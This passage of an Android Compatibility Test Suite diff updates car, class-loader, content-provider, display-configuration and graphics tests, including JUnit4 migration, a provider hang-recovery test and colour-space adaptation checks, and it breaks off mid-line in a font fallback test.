PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
for (PackageInfo info : packages) {
@@ -95,6 +112,8 @@
}
}
+ @Test
+ @Ignore // Enable when b/120125891 is fixed
public void testServiceDistractionOptimized() throws Exception {
assertFalse(mCarPm.isServiceDistractionOptimized("com.basic.package", ""));
assertTrue(mCarPm.isServiceDistractionOptimized("com.android.car.settings", "Any"));
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index 21358a6..84338be 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -16,24 +16,38 @@
package android.car.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertNotNull;
+
import android.car.Car;
import android.car.hardware.CarSensorEvent;
import android.car.hardware.CarSensorManager;
import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@SmallTest
@RequiresDevice
+@RunWith(AndroidJUnit4.class)
public class CarSensorManagerTest extends CarApiTestBase {
private CarSensorManager mCarSensorManager;
- @Override
- protected void setUp() throws Exception {
+ @Before
+ public void setUp() throws Exception {
super.setUp();
mCarSensorManager = (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
}
+ @Test
+ @Ignore // Enable when b/120125891 is fixed
public void testRequiredSensorsForDrivingState() throws Exception {
int[] supportedSensors = mCarSensorManager.getSupportedSensors();
assertNotNull(supportedSensors);
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..e406008 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -15,30 +15,53 @@
*/
package android.car.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
import android.car.Car;
import android.content.ComponentName;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SmallTest
@RequiresDevice
-public class CarTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CarTest {
private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
private Car mCar;
private DefaultServiceConnectionListener mServiceConnectionListener;
+ @Before
+ public void setUp() {
+ assumeTrue(FeatureUtil.isAutomotive());
+ }
+
+ @Test
public void testConnection() throws Exception {
mServiceConnectionListener = new DefaultServiceConnectionListener();
- mCar = Car.createCar(getContext(), mServiceConnectionListener);
+ mCar = Car.createCar(
+ InstrumentationRegistry.getInstrumentation().getTargetContext(),
+ mServiceConnectionListener);
assertFalse(mCar.isConnected());
assertFalse(mCar.isConnecting());
mCar.connect();
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 904650f..4a14de9 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -15,18 +15,35 @@
*/
package android.car.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
import android.car.CarNotConnectedException;
import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SmallTest
@RequiresDevice
-public class ExceptionsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ExceptionsTest {
private static final String MESSAGE = "Oops!";
private static final Exception CAUSE = new RuntimeException();
+ @Before
+ public void setUp() {
+ assumeTrue(FeatureUtil.isAutomotive());
+ }
+
+ @Test
public void testCarNotConnectedException() {
CarNotConnectedException exception = new CarNotConnectedException();
assertNull(exception.getMessage());
diff --git a/tests/tests/classloaderfactory/Android.mk b/tests/tests/classloaderfactory/Android.mk
index 118a154..347fe67 100644
--- a/tests/tests/classloaderfactory/Android.mk
+++ b/tests/tests/classloaderfactory/Android.mk
@@ -12,8 +12,18 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-# Copy secondary APK to CTS target directory.
-my_secondary_apk := $(call intermediates-dir-for,JAVA_LIBRARIES,CtsClassLoaderFactoryTestCasesSecondaryDex,,COMMON)/javalib.jar
-$(eval $(call copy-one-file,$(my_secondary_apk),$(TARGET_OUT_TESTCASES)/CtsClassLoaderFactoryTestCasesSecondaryDex.apk))
+LOCAL_PATH := $(call my-dir)
-include $(call all-subdir-makefiles)
+# Copy secondary APK to CTS target directory.
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-classloaderfactory-secondary-jar
+LOCAL_MODULE_STEM := classloaderfactory-secondary.jar
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH = $(TARGET_OUT_TESTCASES)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+my_secondary_apk_src := $(call intermediates-dir-for,JAVA_LIBRARIES,CtsClassLoaderFactoryTestCasesSecondaryDex,,COMMON)/javalib.jar
+$(eval $(call copy-one-file,$(my_secondary_apk_src),$(LOCAL_BUILT_MODULE)))
+my_secondary_apk_src :=
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/classloaderfactory/base_test.mk b/tests/tests/classloaderfactory/base_test.mk
index 009919e..33df573 100644
--- a/tests/tests/classloaderfactory/base_test.mk
+++ b/tests/tests/classloaderfactory/base_test.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
LOCAL_ADDITIONAL_DEPENDENCIES += \
- $(TARGET_OUT_TESTCASES)/CtsClassLoaderFactoryTestCasesSecondaryDex.apk
+ $(TARGET_OUT_TESTCASES)/classloaderfactory-secondary.jar
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
index f867234..386a2e8 100644
--- a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
@@ -29,7 +29,7 @@
@RunWith(AndroidJUnit4.class)
public class AppComponentFactoryTest {
public static final String SECONDARY_APK_PATH =
- "/data/local/tmp/classloaderfactory-test/secondary.apk";
+ "/data/local/tmp/classloaderfactory-test/secondary.jar";
private static final String CLASS_PACKAGE_NAME =
AppComponentFactoryTest.class.getPackage().getName();
diff --git a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
index 26eb20e..4ea2064 100644
--- a/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-memcl/AndroidTest.xml
@@ -21,7 +21,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsClassLoaderFactoryTestCasesSecondaryDex.apk->/data/local/tmp/classloaderfactory-test/secondary.apk" />
+ <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
index 6af26e2..3b3817c 100644
--- a/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
+++ b/tests/tests/classloaderfactory/test-pathcl/AndroidTest.xml
@@ -21,7 +21,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/classloaderfactory-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsClassLoaderFactoryTestCasesSecondaryDex.apk->/data/local/tmp/classloaderfactory-test/secondary.apk" />
+ <option name="push" value="classloaderfactory-secondary.jar->/data/local/tmp/classloaderfactory-test/secondary.jar" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
index 713e547..1981853 100644
--- a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -133,7 +133,7 @@
final String result = concatResult(readAll(
InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
- "pm clear " + providerPackage)));
+ "pm clear --user current " + providerPackage)));
Log.i(TAG, "Result:" + result);
assertEquals("Success", result);
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverTest.java b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
index d1c03d2..824d0fe 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
@@ -30,6 +30,7 @@
import android.os.OperationCanceledException;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
+import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -42,6 +43,8 @@
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
public class ContentResolverTest extends AndroidTestCase {
private final static String COLUMN_ID_NAME = "_id";
@@ -62,10 +65,10 @@
private static final String REMOTE_AUTHORITY = "remotectstest";
private static final Uri REMOTE_TABLE1_URI = Uri.parse("content://"
+ REMOTE_AUTHORITY + "/testtable1/");
- private static final Uri REMOTE_SELF_URI = Uri.parse("content://"
- + REMOTE_AUTHORITY + "/self/");
private static final Uri REMOTE_CRASH_URI = Uri.parse("content://"
+ REMOTE_AUTHORITY + "/crash/");
+ private static final Uri REMOTE_HANG_URI = Uri.parse("content://"
+ + REMOTE_AUTHORITY + "/hang/");
private static final Account ACCOUNT = new Account("cts", "cts");
@@ -112,6 +115,9 @@
@Override
protected void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+
mContentResolver.delete(TABLE1_URI, null, null);
if ( null != mCursor && !mCursor.isClosed() ) {
mCursor.close();
@@ -138,7 +144,7 @@
// so the act of killing it doesn't kill our own process.
client.release();
try {
- client.delete(REMOTE_SELF_URI, null, null);
+ client.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
// Now make sure the thing is actually gone.
@@ -189,7 +195,7 @@
try {
Log.i("ContentResolverTest",
"Killing remote client -- if test process goes away, that is why!");
- uClient.delete(REMOTE_SELF_URI, null, null);
+ uClient.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
// Make sure the remote client is actually gone.
@@ -227,7 +233,7 @@
try {
Log.i("ContentResolverTest",
"Killing remote client -- if test process goes away, that is why!");
- uClient.delete(REMOTE_SELF_URI, null, null);
+ uClient.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
// Make sure the remote client is actually gone.
@@ -276,7 +282,7 @@
try {
Log.i("ContentResolverTest",
"Killing remote client -- if test process goes away, that is why!");
- client.delete(REMOTE_SELF_URI, null, null);
+ client.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
// Make sure the remote client is actually gone.
@@ -708,7 +714,7 @@
try {
Log.i("ContentResolverTest",
"Killing remote client -- if test process goes away, that is why!");
- uClient.delete(REMOTE_SELF_URI, null, null);
+ uClient.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
uClient.release();
@@ -740,7 +746,7 @@
try {
Log.i("ContentResolverTest",
"Killing remote client -- if test process goes away, that is why!");
- uClient.delete(REMOTE_SELF_URI, null, null);
+ uClient.delete(REMOTE_CRASH_URI, null, null);
} catch (RemoteException e) {
}
uClient.release();
@@ -1232,6 +1238,30 @@
}
}
+ public void testHangRecover() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity(android.Manifest.permission.REMOVE_TASKS);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ new Thread(() -> {
+ final ContentProviderClient client = mContentResolver
+ .acquireUnstableContentProviderClient(REMOTE_AUTHORITY);
+ client.setDetectNotResponding(2_000);
+ try {
+ client.query(REMOTE_HANG_URI, null, null, null);
+ fail("Funky, we somehow returned?");
+ } catch (RemoteException e) {
+ latch.countDown();
+ }
+ }).start();
+
+ // The remote process should have been killed after the ANR was detected
+ // above, causing our pending call to return and release our latch above
+ // within 10 seconds; if our Binder thread hasn't been freed, then we
+ // fail with a timeout.
+ latch.await(10, TimeUnit.SECONDS);
+ }
+
private class MockContentObserver extends ContentObserver {
private boolean mHadOnChanged = false;
diff --git a/tests/tests/content/src/android/content/cts/MockContentProvider.java b/tests/tests/content/src/android/content/cts/MockContentProvider.java
index 0183177..d2b613c 100644
--- a/tests/tests/content/src/android/content/cts/MockContentProvider.java
+++ b/tests/tests/content/src/android/content/cts/MockContentProvider.java
@@ -16,21 +16,18 @@
package android.content.cts;
-import static androidx.core.util.Preconditions.checkArgument;
import static junit.framework.Assert.assertEquals;
import android.annotation.NonNull;
import android.annotation.Nullable;
import android.content.ContentProvider;
import android.content.ContentProvider.PipeDataWriter;
-import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
import android.content.UriMatcher;
import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
-import android.database.CursorWrapper;
import android.database.SQLException;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
@@ -39,6 +36,7 @@
import android.os.Bundle;
import android.os.CancellationSignal;
import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
import android.text.TextUtils;
import android.util.Log;
@@ -51,8 +49,8 @@
import java.io.UnsupportedEncodingException;
import java.util.HashMap;
-public class MockContentProvider extends ContentProvider
- implements PipeDataWriter<String> {
+public class MockContentProvider extends ContentProvider implements PipeDataWriter<String> {
+ private static final String TAG = "MockContentProvider";
private static final String DEFAULT_AUTHORITY = "ctstest";
private static final String DEFAULT_DBNAME = "ctstest.db";
@@ -63,8 +61,8 @@
private static final int TESTTABLE1_CROSS = 3;
private static final int TESTTABLE2 = 4;
private static final int TESTTABLE2_ID = 5;
- private static final int SELF_ID = 6;
private static final int CRASH_ID = 6;
+ private static final int HANG_ID = 7;
private static @Nullable Uri sRefreshedUri;
private static boolean sRefreshReturnValue;
@@ -116,8 +114,8 @@
URL_MATCHER.addURI(mAuthority, "testtable1/cross", TESTTABLE1_CROSS);
URL_MATCHER.addURI(mAuthority, "testtable2", TESTTABLE2);
URL_MATCHER.addURI(mAuthority, "testtable2/#", TESTTABLE2_ID);
- URL_MATCHER.addURI(mAuthority, "self", SELF_ID);
URL_MATCHER.addURI(mAuthority, "crash", CRASH_ID);
+ URL_MATCHER.addURI(mAuthority, "hang", HANG_ID);
CTSDBTABLE1_LIST_PROJECTION_MAP = new HashMap<>();
CTSDBTABLE1_LIST_PROJECTION_MAP.put("_id", "_id");
@@ -166,9 +164,9 @@
(!TextUtils.isEmpty(selection) ? " AND (" + selection + ')' : ""),
selectionArgs);
break;
- case SELF_ID:
+ case CRASH_ID:
// Wha...? Delete ME?!? O.K.!
- Log.i("MockContentProvider", "Delete self requested!");
+ Log.i(TAG, "Delete self requested!");
count = 1;
android.os.Process.killProcess(android.os.Process.myPid());
break;
@@ -300,6 +298,12 @@
qb.setProjectionMap(CTSDBTABLE1_LIST_PROJECTION_MAP);
break;
+ case HANG_ID:
+ while (true) {
+ Log.i(TAG, "Hanging provider by request...");
+ SystemClock.sleep(1000);
+ }
+
default:
throw new IllegalArgumentException("Unknown URL " + uri);
}
@@ -393,7 +397,7 @@
pw = new PrintWriter(new OutputStreamWriter(fout, "UTF-8"));
pw.print(args);
} catch (UnsupportedEncodingException e) {
- Log.w("MockContentProvider", "Ooops", e);
+ Log.w(TAG, "Ooops", e);
} finally {
if (pw != null) {
pw.flush();
@@ -416,7 +420,7 @@
if (getCrashOnLaunch(getContext())) {
// The test case wants us to crash our process on first launch.
// Well, okay then!
- Log.i("MockContentProvider", "TEST IS CRASHING SELF, CROSS FINGERS!");
+ Log.i(TAG, "TEST IS CRASHING SELF, CROSS FINGERS!");
setCrashOnLaunch(getContext(), false);
android.os.Process.killProcess(android.os.Process.myPid());
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index ca006e2..00559be 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -705,11 +705,11 @@
assertEquals(PermissionInfo.PROTECTION_NORMAL, permissionInfo.getProtection());
// Check a dangerous (runtime) permission.
- permissionName = "android.permission.SEND_SMS";
+ permissionName = "android.permission.RECORD_AUDIO";
permissionInfo = mPackageManager.getPermissionInfo(permissionName, 0);
assertEquals(permissionName, permissionInfo.name);
assertEquals(PermissionInfo.PROTECTION_DANGEROUS, permissionInfo.getProtection());
- assertEquals("android.permission-group.SMS", permissionInfo.group);
+ assertNotNull(permissionInfo.group);
// Check a signature permission.
permissionName = "android.permission.MODIFY_PHONE_STATE";
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 569b3501..7ac5246 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -24,6 +24,7 @@
import android.view.Display;
import android.view.WindowManager;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.FeatureUtil;
import java.util.HashSet;
@@ -34,16 +35,22 @@
*/
public class ConfigurationTest extends AndroidTestCase {
- @Presubmit
- public void testScreenConfiguration() {
+ private DisplayMetrics mMetrics;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
WindowManager windowManager =
(WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
Display display = windowManager.getDefaultDisplay();
- DisplayMetrics metrics = new DisplayMetrics();
- display.getMetrics(metrics);
+ mMetrics = new DisplayMetrics();
+ display.getMetrics(mMetrics);
+ }
- double xInches = (double) metrics.widthPixels / metrics.xdpi;
- double yInches = (double) metrics.heightPixels / metrics.ydpi;
+ @Presubmit
+ public void testScreenConfiguration() {
+ double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
+ double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
double minSize = 2.5d;
if (FeatureUtil.isWatch()) {
@@ -56,7 +63,7 @@
assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
diagonalInches >= minSize);
- double density = 160.0d * metrics.density;
+ double density = 160.0d * mMetrics.density;
assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
Set<Integer> allowedDensities = new HashSet<Integer>();
@@ -77,10 +84,22 @@
allowedDensities.add(DisplayMetrics.DENSITY_560);
allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
- + allowedDensities, allowedDensities.contains(metrics.densityDpi));
+ + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
- assertEquals(metrics.density,
- (float) metrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
+ assertEquals(mMetrics.density,
+ (float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
0.5f / DisplayMetrics.DENSITY_DEFAULT);
}
+
+ @CddTest(requirement="2.5.1")
+ public void testAutomotiveMinimumScreenSize() {
+ if (!FeatureUtil.isAutomotive()) {
+ return;
+ }
+ float dpHeight = mMetrics.heightPixels / mMetrics.density;
+ float dpWidth = mMetrics.widthPixels / mMetrics.density;
+
+ assertTrue("Height must be >= 480dp, found: " + dpHeight, dpHeight >= 480);
+ assertTrue("Width must be >= 750dp, found: " + dpWidth, dpWidth >= 750);
+ }
}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
index c9ed883..6c90941 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
@@ -75,9 +75,6 @@
// Could not initialize Vulkan due to lack of device support, skip test.
return;
}
- VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
- formatDesc.vkFormat, formatDesc.pixelWidth);
- ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
// Create and initialize buffer based on parameters.
AHardwareBuffer_Desc hwbDesc{
@@ -96,6 +93,10 @@
return;
}
+ VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
+ formatDesc.vkFormat, formatDesc.pixelWidth);
+ ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
+
// Populate the buffer with well-defined data.
AHardwareBuffer_describe(buffer, &hwbDesc);
uint8_t *bufferAddr;
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml b/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml
new file mode 100644
index 0000000..63bd5dd
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_mix_theme.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <gradient
+ android:angle="270"
+ android:centerColor="@color/colorPrimary"
+ android:endColor="?attr/colorPrimaryDark"/>
+</shape>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/values/colors.xml b/tests/tests/graphics/res/values/colors.xml
index f3cc325..64f1589 100644
--- a/tests/tests/graphics/res/values/colors.xml
+++ b/tests/tests/graphics/res/values/colors.xml
@@ -23,4 +23,7 @@
<color name="testcolor1">#ff00ff00</color>
<color name="testcolor2">#ffff0000</color>
<color name="failColor">#ff0000ff</color>
+ <color name="colorPrimary">#008577</color>
+ <color name="colorPrimaryDark">#00574B</color>
+ <color name="colorAccent">#D81B60</color>
</resources>
diff --git a/tests/tests/graphics/res/values/styles.xml b/tests/tests/graphics/res/values/styles.xml
index 95c9169..eca9589 100644
--- a/tests/tests/graphics/res/values/styles.xml
+++ b/tests/tests/graphics/res/values/styles.xml
@@ -167,6 +167,17 @@
<item name="themeVectorDrawableFillColor">#F00F</item>
</style>
+ <attr name="colorPrimary" format="reference|color" />
+ <attr name="colorPrimaryDark" format="reference|color" />
+ <attr name="colorAccent" format="reference|color" />
+
+ <style name="Theme_MixedGradientTheme">
+ <!-- Customize your theme here. -->
+ <item name="colorPrimary">@color/colorPrimary</item>
+ <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+ <item name="colorAccent">@color/colorAccent</item>
+ </style>
+
<style name="WhiteBackgroundNoWindowAnimation"
parent="@android:style/Theme.Holo.NoActionBar.Fullscreen">
<item name="android:windowNoTitle">true</item>
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index b535edb..01ba9e5 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -22,6 +22,8 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import org.junit.Rule;
+import org.junit.rules.ExpectedException;
import android.graphics.ColorSpace;
import android.support.test.filters.SmallTest;
@@ -69,6 +71,9 @@
private static final DoubleUnaryOperator sIdentity = DoubleUnaryOperator.identity();
+ @Rule
+ public ExpectedException mExpectedException = ExpectedException.none();
+
@Test
public void testNamedColorSpaces() {
for (ColorSpace.Named named : ColorSpace.Named.values()) {
@@ -610,6 +615,31 @@
}
@Test
+ public void testSinglePointAdaptation() {
+ float[] illumD65xyY = Arrays.copyOf(ColorSpace.ILLUMINANT_D65,
+ ColorSpace.ILLUMINANT_D65.length);
+ float[] illumD50xyY = Arrays.copyOf(ColorSpace.ILLUMINANT_D50,
+ ColorSpace.ILLUMINANT_D50.length);
+
+ final float[] catXyz = ColorSpace.chromaticAdaptation(ColorSpace.Adaptation.BRADFORD,
+ illumD65xyY, illumD50xyY);
+
+ // Ensure the original arguments were not modified
+ assertArrayEquals(illumD65xyY, ColorSpace.ILLUMINANT_D65, 0);
+ assertArrayEquals(illumD50xyY, ColorSpace.ILLUMINANT_D50, 0);
+
+ // Verify results. This reference data has been cross-checked with
+ // http://www.brucelindbloom.com/index.html?Eqn_ChromAdapt.html
+ final float[] illumD65ToIllumD50Xyz = {
+ 1.0478525f, 0.0295722f, -0.0092367f,
+ 0.0229074f, 0.9904668f, 0.0150463f,
+ -0.0501464f, -0.0170567f, 0.7520621f
+ };
+
+ assertArrayEquals(catXyz, illumD65ToIllumD50Xyz, 1e-7f);
+ }
+
+ @Test
public void testImplicitSRGBConnector() {
ColorSpace.Connector connector1 = ColorSpace.connect(
ColorSpace.get(ColorSpace.Named.DCI_P3));
@@ -783,6 +813,19 @@
1 / 1.055, 0.055 / 1.055, 1 / 12.92, 0.04045, 2.4)));
}
+ @Test
+ public void testCctToIlluminantdXyz() {
+ assertArrayEquals(ColorSpace.cctToIlluminantdXyz(5000),
+ xyYToXyz(ColorSpace.ILLUMINANT_D50), 0.01f);
+ assertArrayEquals(ColorSpace.cctToIlluminantdXyz(7500),
+ xyYToXyz(ColorSpace.ILLUMINANT_D75), 0.01f);
+ }
+
+ @Test
+ public void testCctToIlluminantdXyzErrors() {
+ mExpectedException.expect(IllegalArgumentException.class);
+ ColorSpace.cctToIlluminantdXyz(0);
+ }
@SuppressWarnings("SameParameterValue")
private static void assertArrayNotEquals(float[] a, float[] b, float eps) {
@@ -800,4 +843,12 @@
}
}
}
+
+ /**
+ * Convenience function copied from android.graphics.ColorSpace
+ */
+ private static float[] xyYToXyz(float[] xyY) {
+ return new float[] { xyY[0] / xyY[1], 1.0f, (1 - xyY[0] - xyY[1]) / xyY[1] };
+ }
+
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 8c67045..0cbf5d4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1734,15 +1734,10 @@
}
}
} else {
- // Not decoding to HARDWARE, but |normal| was. Again, if f16
- // was decoded to 8888, which we can detect by looking at the color
- // space, no savings are possible.
- if (resId == R.raw.f16 && !normal.getColorSpace().equals(
- ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
- assertEquals(normalByteCount, byteCount);
- } else {
- assertTrue(byteCount < normalByteCount);
- }
+ // Not decoding to HARDWARE, but |normal| was. As such this should always
+ // succeed in being smaller, as software will decode to 565 in this case.
+ // This will always be less than whatever HARDWARE supports.
+ assertTrue(byteCount < normalByteCount);
}
}
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
index 6e34af0..43d7e7e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceCustomFallbackBuilderTest.java
@@ -17,6 +17,8 @@
package android.graphics.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import android.content.res.AssetManager;
import android.graphics.Typeface;
@@ -193,15 +195,39 @@
assertEquals(20.0f, paint.measureText("\u05D0", 0, 1), 0.0f); // Hebrew letter
}
- @Test(expected = IllegalArgumentException.class)
+ @Test
public void testMaxCustomFallback() throws IOException {
final AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
final Font font = new Font.Builder(am, "fonts/user_fallback/ascii.ttf").build();
final Typeface.CustomFallbackBuilder b = new Typeface.CustomFallbackBuilder(
new FontFamily.Builder(font).build());
- for (int i = 0; i < 64; ++i) {
